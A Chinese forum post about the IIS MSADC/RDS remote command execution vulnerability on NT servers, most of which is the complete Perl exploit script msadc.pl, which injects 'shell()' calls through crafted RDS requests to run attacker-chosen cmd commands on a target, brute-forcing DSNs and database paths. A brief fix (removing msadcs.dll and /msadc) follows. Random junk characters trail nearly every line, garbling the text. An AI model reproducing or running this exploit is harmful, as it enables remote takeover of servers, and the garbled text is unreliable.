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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) FveK|-  
v^I%Wm  
涉及程序: Vwg|?sG_  
Microsoft NT server yNf=Kl  
<hC3#dNRd  
描述: S aq>o.  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Pi sr&"A  
bh6wI%8H  
详细: IMw)X0z  
如果你没有时间读详细内容的话,就删除: P\0%nyOG(%  
c:\Program Files\Common Files\System\Msadc\msadcs.dll KK3xz*W0  
有关的安全问题就没有了。 )$N{(Cke2T  
{ RX|  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 r&~iEO|?\  
(mr` ?LI}  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 RKb3=} *C  
关于利用ODBC远程漏洞的描述,请参看: 1gK3= Ys  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm -2Cf)>`v  
aq| [g  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ##ea-"m8  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp zd]L9 _  
=C2C~Xd  
这里不再论述。 p<['FRf"  
uKzz/Y{  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: : 2d9ZDyD  
[zd-=.:+M[  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset hRcJ):Wyb  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Zpd>' ${4  
#$)rwm.jW?  
CrQ& -!Eh  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ADUI@#vk  
f TtMmz  
#!perl gZ  Si\m>  
# n\DT0E]  
# MSADC/RDS 'usage' (aka exploit) script `W S  
# yKhzymS}T  
# by rain.forest.puppy ;$;/#8`>  
# pD/S\E0@t  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Qt39H@c|z~  
# beta test and find errors! dPX>A4wp  
tqC#_[~7  
use Socket; use Getopt::Std; W5g!`f  
getopts("e:vd:h:XR", \%args); bcs(#  
m <ruFxY  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; &N nMz9  
]gk1h=Y~h  
if (!defined $args{h} && !defined $args{R}) { Lj,%pzJ  
print qq~ OaWq8MIZ-  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 4 l(o{{  
-h <host> = host you want to scan (ip or domain) Z:Am\7 I  
-d <seconds> = delay between calls, default 1 second _xsYcw~)  
-X = dump Index Server path table, if available [AwE  
-v = verbose __npX_4%S  
-e = external dictionary file for step 5 +y(h/NcQ  
I{bi3y0  
Or a -R will resume a command session (#`o >G(  
Ey%NqOs0#  
~; exit;} n\Nl2u& m  
"TI? qoz  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ; & +75n  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} AG2jl/  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} h^,a 1'  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); H_]kR&F8  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} MG>;|*$%  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } B\yid@e  
" Xc=<rX  
if (!defined $args{R}){ $ret = &has_msadc; .}s a2-  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} G= e[TR)i  
Nx'j+>bz>y  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" `!N?#N:b)  
. "cmd /c "; _L>n!"E/  
$in=<STDIN>; chomp $in; Tr)[q>  
$command="cmd /c " . $in ; WkE;tC*  
<KX#;v!I  
if (defined $args{R}) {&load; exit;} *fZ'#C~x  
?=&*6H_v  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 5N0H^  
&try_btcustmr; "H8N,eb2  
zT8K})#  
print "\nStep 2: Trying to make our own DSN..."; 9"TPDU7"  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; IT|CfQ [D  
;C'*Ui  
print "\nStep 3: Trying known DSNs..."; 3( kZfH~  
&known_dsn; t|%ul6{gz  
\&fK8H1  
print "\nStep 4: Trying known .mdbs..."; '"Gi&:*nQ<  
&known_mdb; /<~IKVz\&  
T28#?Lp6]  
if (defined $args{e}){ Zh*I0m   
print "\nStep 5: Trying dictionary of DSN names..."; XT)@)c7j  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } gC_U7aw  
IV76#jL  
print "Sorry Charley...maybe next time?\n"; ,O(uuq  
exit; KVBz=  
3c)xNXq m  
############################################################################## V! p;ME  
Jh1fM`kB5K  
sub sendraw { # ripped and modded from whisker ?~"RCZ[;.f  
sleep($delay); # it's a DoS on the server! At least on mine... Ex<0@Oz  
my ($pstr)=@_; uP.3(n[&  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || x\WKsc  
die("Socket problems\n"); (Q&Z/Fe  
if(connect(S,pack "SnA4x8",2,80,$target)){ 3~ylBJJ  
select(S); $|=1; SX#ATf6#  
print $pstr; my @in=<S>; /KkUCq2A  
select(STDOUT); close(S); 3$_wAt4w  
return @in; U<$|ET'  
} else { die("Can't connect...\n"); }} $P$OWp?b  
pnWDsC~)  
############################################################################## N]3XDd|q  
:0/I2:  
sub make_header { # make the HTTP request M%m$ 5[;n  
my $msadc=<<EOT +u7mw<A 8  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 yfj<P/aA+  
User-Agent: ACTIVEDATA B--`=@IRf"  
Host: $ip ,xGkE7=5  
Content-Length: $clen c8h 9  
Connection: Keep-Alive QM=X<?m/,=  
j:g/[_0s  
ADCClientVersion:01.06 ne%ckW?ks  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3  5bk5EE`  
~e|~c<!z8@  
--!ADM!ROX!YOUR!WORLD! 7C=t19&R'  
Content-Type: application/x-varg Y%2<}3P  
Content-Length: $reqlen JHcC}+H[  
N G4wtDa  
EOT xRb-m$B}L  
; $msadc=~s/\n/\r\n/g; WlU5`NJl]2  
return $msadc;} > #SQDVFf  
KdUmetx1  
############################################################################## dI3U*:$X  
fN@2 B  
sub make_req { # make the RDS request 2|+**BxHD  
my ($switch, $p1, $p2)=@_; E1=]m  
my $req=""; my $t1, $t2, $query, $dsn; #,Rmu  
wT;D<rqe`  
if ($switch==1){ # this is the btcustmr.mdb query [E+#+-n7  
$query="Select * from Customers where City=" . make_shell(); mjf U[2  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ^J?I-LG  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} d+$a5 [^9  
0]&~ddL  
elsif ($switch==2){ # this is general make table query ~b*f2UVs  
$query="create table AZZ (B int, C varchar(10))"; VHJOj  
$dsn="$p1";} 't]=ps  
CtS*"c,j  
elsif ($switch==3){ # this is general exploit table query D{~I  
$query="select * from AZZ where C=" . make_shell(); XDU&Z2A  
$dsn="$p1";} L9(fa+$+#  
7Q2"]f,$CQ  
elsif ($switch==4){ # attempt to hork file info from index server 4Y[tx]<  
$query="select path from scope()"; s#>Bwn&b)  
$dsn="Provider=MSIDXS;";} |,|b~>  
=JY9K0S~  
elsif ($switch==5){ # bad query 6s@'z<Ct  
$query="select"; !>TH#sU$  
$dsn="$p1";} 1t6VS 3  
5#~u U  
$t1= make_unicode($query); Mz_*`lRN  
$t2= make_unicode($dsn); 4gzrxV  
$req = "\x02\x00\x03\x00"; I8rtta  
$req.= "\x08\x00" . pack ("S1", length($t1)); YLk/16r  
$req.= "\x00\x00" . $t1 ; s${ew.eW  
$req.= "\x08\x00" . pack ("S1", length($t2)); a!vF;J-Zqa  
$req.= "\x00\x00" . $t2 ; <J!#k@LY]7  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; NLf6}  
return $req;} [kaj8  
*H8(G%a!^  
############################################################################## 8SR~{  
D<78Tm x  
sub make_shell { # this makes the shell() statement 8K=sx @l  
return "'|shell(\"$command\")|'";} Ep)rEq6  
S jgjGJw  
############################################################################## fL>>hBCqC  
B_$hi=?TTd  
sub make_unicode { # quick little function to convert to unicode bS[;d5  
my ($in)=@_; my $out; 80DcM9^t8  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Zl^#U c"  
return $out;} eD2u!OKW!  
vau0Jn%=ck  
############################################################################## 6qp2C]9=  
[<CIh46S.  
sub rdo_success { # checks for RDO return success (this is kludge) uY{V^c#mv  
my (@in) = @_; my $base=content_start(@in); _\uyS',  
if($in[$base]=~/multipart\/mixed/){ =wE1j  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} qRC-+k:  
return 0;} ^UOVXRn  
aAJ'0xnj  
############################################################################## M@%$9N)gd  
K)=<hL  
sub make_dsn { # this makes a DSN for us jg%HaA<zO  
my @drives=("c","d","e","f"); tj<a , l  
print "\nMaking DSN: "; |:Q`9;  
foreach $drive (@drives) { jG~zpZh  
print "$drive: "; D_VAtz  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . xd }g1c  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" &ZmWR  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); C 0@tMB7  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ] /w: 5o#  
return 0 if $2 eq "404"; # not found/doesn't exist (^,4{;YQ5  
if($2 eq "200") { JzI/kH~  
foreach $line (@results) { vOMmsU F  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} zPWJ=T@N  
} return 0;} 1FC' iGI  
fiG/ "/u  
############################################################################## GO3F[ l  
%uA\Le  
sub verify_exists { Wg\`!T  
my ($page)=@_; \l$gcFXb  
my @results=sendraw("GET $page HTTP/1.0\n\n"); WJ D1U?`  
return $results[0];} y<#?z 8P  
* }\}@0%  
############################################################################## 6<E4?<O%  
sA!,)'6  
sub try_btcustmr { Y5rR  
my @drives=("c","d","e","f"); E}&Z=+v}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 8~q%H1[I\N  
!w+A3Z>V  
foreach $dir (@dirs) { D`|.%  
print "$dir -> "; # fun status so you can see progress +*Um:}&  
foreach $drive (@drives) { ? dD<KCbP,  
print "$drive: "; # ditto _DlkTi5(w  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; TttD}`\.  
$reqlenlen=length( "$reqlen" ); \:`'!X1*U  
$clen= 206 + $reqlenlen + $reqlen; 7-*QF>w<a  
S4qj}`$ Yv  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 8 oK;Tzh  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Hjho!np  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} b ] W^_  
e@B+\1  
############################################################################## : 5=E> !  
+1`Zu$|  
sub odbc_error { 4d\"gk  
my (@in)=@_; my $base; aN\ps g  
my $base = content_start(@in); HC'k81Q  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this i Eh -  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; M@LI(;  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; v\LcZt`}  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; fa~u<m   
return $in[$base+4].$in[$base+5].$in[$base+6];} E="FE.%A  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; u!iBAr5  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Yn0l}=, n  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} hN~]$"@2  
pH#*:v!)  
############################################################################## ]6PX4oK_t  
^\Bm5QkS  
sub verbose { cy0 %tsB|  
my ($in)=@_; iti~RV,  
return if !$verbose; bo;;\>k  
print STDOUT "\n$in\n";} m -{t%[Y  
c^N'g!on  
############################################################################## $}{u6*u.,  
TB=KT j  
sub save { i0,'b61qE  
my ($p1, $p2, $p3, $p4)=@_; N k~Xz  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; tcovMn '  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; yQ^k%hHa  
close OUT;}  |7ga9  
@ y{i.G  
############################################################################## q T16th[D  
;g-L2(T05;  
sub load { ! OM P]  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; .GJl@==~1  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); qb rf;`  
@p=<IN>; close(IN); 6SYQRK  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ,I(PDlvtM  
$target= inet_aton($ip) || die("inet_aton problems"); DXbzl +R  
print "Resuming to $ip ..."; NPN*k].  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; (r&e|  
if($p[1]==1) { ]6W;~w%  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; cfb8kNn~+  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Fv[. %tW  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); c"vF i~Db  
if (rdo_success(@results)){print "Success!\n";} |sM#nhxK  
else { print "failed\n"; verbose(odbc_error(@results));}} (-V=&F_  
elsif ($p[1]==3){ c*O{?b  
if(run_query("$p[3]")){ UV?.KVD~  
print "Success!\n";} else { print "failed\n"; }} Dv7/eRt  
elsif ($p[1]==4){ |!0R"lv'u  
if(run_query($drvst . "$p[3]")){ k\:f2%!!  
print "Success!\n"; } else { print "failed\n"; }} 5H+S=  
exit;} &9Vm3X  
MX3ss,F  
############################################################################## oXCZpS  
p1dqDgF*  
sub create_table { i-Le&  
my ($in)=@_; E8-8E2i,  
$reqlen=length( make_req(2,$in,"") ) - 28; 6Y#-5oE u/  
$reqlenlen=length( "$reqlen" ); m?Gb5=qo  
$clen= 206 + $reqlenlen + $reqlen; NW}kvZ  
my @results=sendraw(make_header() . make_req(2,$in,""));  eRlJ  
return 1 if rdo_success(@results); 4o:  
my $temp= odbc_error(@results); verbose($temp); rUunf'w`e1  
return 1 if $temp=~/Table 'AZZ' already exists/; $(2c0S{1  
return 0;} ObDcNq/b!  
)~hsd+ 0t  
############################################################################## PB !\r}Q  
{.W$<y (j7  
sub known_dsn { 7=.}484>J  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ~YxLDo'.t  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", (t.pM P4  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", )N{Qpbh  
"banner", "banners", "ads", "ADCDemo", "ADCTest");  b;!oPT  
8T5s6EmIOW  
foreach $dSn (@dsns) { Dh*>361y-  
print "."; d2w;d&2S  
next if (!is_access("DSN=$dSn")); :K!@zT=o  
if(create_table("DSN=$dSn")){ NT~L=x sY  
print "$dSn successful\n"; WMB~? EDhv  
if(run_query("DSN=$dSn")){ ^s@?\v  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ~rBeJZ  
print "Something's borked. Use verbose next time\n";}}} print "\n";} {5+t\~q$  
H79|%@F"  
############################################################################## jW6~^>S  
8-cB0F=j_  
sub is_access { ojO<sT:by  
my ($in)=@_; xACAtJ'gc  
$reqlen=length( make_req(5,$in,"") ) - 28; ^>?gFvWB%  
$reqlenlen=length( "$reqlen" ); Ez^U1KKOE7  
$clen= 206 + $reqlenlen + $reqlen; cdL$T6y  
my @results=sendraw(make_header() . make_req(5,$in,"")); ?YY'-\h?  
my $temp= odbc_error(@results); A"S{W^iL  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); =G*rfV@__V  
return 0;} &6/# O  
%g3@m5&  
############################################################################## d+KLtvB%M  
+{ QyB  
sub run_query { 9N>Dp N  
my ($in)=@_; #!\g5 ')mC  
$reqlen=length( make_req(3,$in,"") ) - 28; q#Y%Y  
$reqlenlen=length( "$reqlen" ); TY"=8}X1  
$clen= 206 + $reqlenlen + $reqlen; BH0@WG7F  
my @results=sendraw(make_header() . make_req(3,$in,"")); >^%]F[Wo  
return 1 if rdo_success(@results); Pj_2y)^?  
my $temp= odbc_error(@results); verbose($temp); C?Dztkz  
return 0;} wy&s~lpV,7  
u"-q"0  
############################################################################## z65|NO6JW.  
^JF6L`Tp  
sub known_mdb { [3++Q-rR=  
my @drives=("c","d","e","f","g"); B8z3W9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ;4of7d  
my $dir, $drive, $mdb; E1:{5F5/  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; HT/zcd)}#  
t^. U<M  
# this is sparse, because I don't know of many [QA@XBy6  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Klh7&HzR  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", [E_6n$w  
"\\system32\\certmdb.mdb", me@4lHBR  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% [ aj F  
K2<Q9 ,vt  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", M(o?I}  
"\\cfusion\\cfapps\\forums\\forums_.mdb", xqv4gN6  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 1]#qxjZ~  
"\\cfusion\\cfapps\\security\\realm_.mdb", -Cv:lJj  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 3dNOXk, #  
"\\cfusion\\database\\cfexamples.mdb", 9mkt.>$  
"\\cfusion\\database\\cfsnippets.mdb", ',nGH|K.  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", g@YJ#S(}  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", u|ia  
"\\cfusion\\brighttiger\\database\\cleam.mdb", aoQK.7  
"\\cfusion\\database\\smpolicy.mdb", Qjh5m5e  
"\\cfusion\\database\cypress.mdb", a6"Pe07t  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", A-r-^S0\  
"\\website\\cgi-win\\dbsample.mdb", }X94M7+->  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 5+dQGcE@  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" r> 4.{\ C  
); #these are just Z8tQ#Pu{  
foreach $drive (@drives) { Fy8KZWim  
foreach $dir (@dirs){ Epsc2TuH7  
foreach $mdb (@sysmdbs) { m/3b7c@r  
print "."; *[@lp7  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ZWaHG_ U)  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; c?5e|dZz  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ vtG_ A{l  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; <SmXMruU  
} else { print "Something's borked. Use verbose next time\n"; }}}}} p't>'?UH|  
F,EcqM'f  
foreach $drive (@drives) { Am&/K\O  
foreach $mdb (@mdbs) { {\ vj":  
print "."; |=2E?&%?  
if(create_table($drv . $drive . $dir . $mdb)){ azKbGS/X  
print "\n" . $drive . $dir . $mdb . " successful\n"; `|e?91@vEa  
if(run_query($drv . $drive . $dir . $mdb)){ ,  A?o  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; W&dYH 4O  
} else { print "Something's borked. Use verbose next time\n"; }}}} J4!Om&\@  
} Z?|\0GR+`5  
V|xK vH  
############################################################################## 2[: *0 DV#  
T :IKyb  
sub hork_idx { p*E_Po  
print "\nAttempting to dump Index Server tables...\n"; = 7pLU+ u  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; YpMQY-n  
$reqlen=length( make_req(4,"","") ) - 28; lR_ 4iyqb  
$reqlenlen=length( "$reqlen" ); '>-  C!\t  
$clen= 206 + $reqlenlen + $reqlen; /H&:  
my @results=sendraw2(make_header() . make_req(4,"","")); +"rZ<i  
if (rdo_success(@results)){ :{?8rA5  
my $max=@results; my $c; my %d; YqwDvJWX  
for($c=19; $c<$max; $c++){ kb{h`  
$results[$c]=~s/\x00//g; YFgQ!\&59  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; +[@Ug`5M  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 3OTq  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; WL(u'%5  
$d{"$1$2"}="";} #?L%M  
foreach $c (keys %d){ print "$c\n"; } o\u31,  
} else {print "Index server doesn't seem to be installed.\n"; }} \tE2@  
X+"8yZz3?  
############################################################################## 7@al)G;~  
1~NXCIdF  
sub dsn_dict { $$`E@\5P  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ]etLobV  
while(<IN>){ i3g;B?54  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ?zp@HS a9  
next if (!is_access("DSN=$dSn")); ](c[D9I!8  
if(create_table("DSN=$dSn")){ %cJ]Ds%V  
print "$dSn successful\n"; +Z[(s!  
if(run_query("DSN=$dSn")){ %tiFx:F+  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { H~x,\|l#  
print "Something's borked. Use verbose next time\n";}}} Q| > \{M  
print "\n"; close(IN);} l<0 BMwS8  
)>08{7  
############################################################################## Ga0= G&/  
 so_  
sub sendraw2 { # ripped and modded from whisker "P;_-i9O  
sleep($delay); # it's a DoS on the server! At least on mine... 'V=w?G 5  
my ($pstr)=@_; E`%Ewt$Z  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || (5Q,d [B  
die("Socket problems\n"); J/Ki]T9  
if(connect(S,pack "SnA4x8",2,80,$target)){ /Y|oDfv  
print "Connected. Getting data"; Hp;Dp!PLa  
open(OUT,">raw.out"); my @in; y)_T!&ze  
select(S); $|=1; print $pstr; "2:]9j  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} sI p q  
close(OUT); select(STDOUT); close(S); return @in; aW$( lf2;  
} else { die("Can't connect...\n"); }} 1!<k-vt  
SA s wP  
############################################################################## <*u[<  
5at\!17TY  
sub content_start { # this will take in the server headers ]5b%r;_  
my (@in)=@_; my $c; ._JM3o}F  
for ($c=1;$c<500;$c++) { biFy*+|  
if($in[$c] =~/^\x0d\x0a/){ %9hzz5#  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Zn&S7a>7  
else { return $c+1; }}} ;7CE{/Bq.p  
return -1;} # it should never get here actually KZ^W@*`D  
Dn;6O  
############################################################################## JI-q4L|  
#MYhKySku  
sub funky { f6n'g:&.W  
my (@in)=@_; my $error=odbc_error(@in); HH/ bBM!  
if($error=~/ADO could not find the specified provider/){ s\g"~2+  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ]h8[b9$<")  
exit;} @mM'V5_#  
if($error=~/A Handler is required/){ & %4x  
print "\nServer has custom handler filters (they most likely are patched)\n"; _:F0>=$  
exit;} E?san;K u  
if($error=~/specified Handler has denied Access/){ 'ms&ty*T  
print "\nServer has custom handler filters (they most likely are patched)\n"; `PK1zSr  
exit;}} tEP~`$9  
<}x_F)E[t  
############################################################################## bp Q/#\Z  
=9@{U2 =l  
sub has_msadc { _r0[ z  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");   )z#  
my $base=content_start(@results); 2:0'fNXop  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); *{|{T_H:  
return 0;} f,{O%*PUA  
lrg3n[y-l  
######################## )=6 |G^  
o>lk+Q#L @  
"@Ir Bi6  
解决方案: J WaI[n}  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ^b)8l  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 CD|)TXy  
R zG7Xr=t  
拿出来充数 哈哈
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